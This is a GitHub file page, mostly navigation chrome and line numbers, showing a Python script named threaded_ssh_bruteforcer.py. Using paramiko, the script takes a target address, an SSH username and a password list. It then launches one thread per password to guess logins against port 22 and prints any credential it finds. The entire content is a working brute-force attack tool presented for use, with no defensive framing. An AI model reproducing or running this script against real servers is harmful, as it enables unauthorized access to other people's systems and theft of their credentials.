-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy paththreaded_ssh_bruteforcer.py
40 lines (32 loc) · 1005 Bytes
/
threaded_ssh_bruteforcer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# threaded_ssh_bruteforcer
import paramiko, sys, os, termcolor
import threading, time
stop_flag = 0
def ssh_connect(password, code=0):
global stop_flag
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port=22, username=username, password=password)
stop_flag = 1
print(termcolor.colored(('[+] Found Password: ' + password + ', for Username: ' + username), 'green')
except:
print(termcolor.colored(('[-] Incorrect Password: ' + password), 'red')
ssh.close()
host = input('[+] Target Address: ')
username = input('[+] SSH Username: ')
input_file = input('[+] Password File: ')
print('\n')
if os.path.exists(input_file) == False:
print('File/Path doesn't exist')
sys.exit(1)
with open(input_file, 'r') as file:
for line in file.readlines():
if stop_flag == 1:
t.join()
exit()
password = line.strip()
t = threading.Thread(target=ssh_connect, args=(password,))
t.start()
time.sleep(0.5)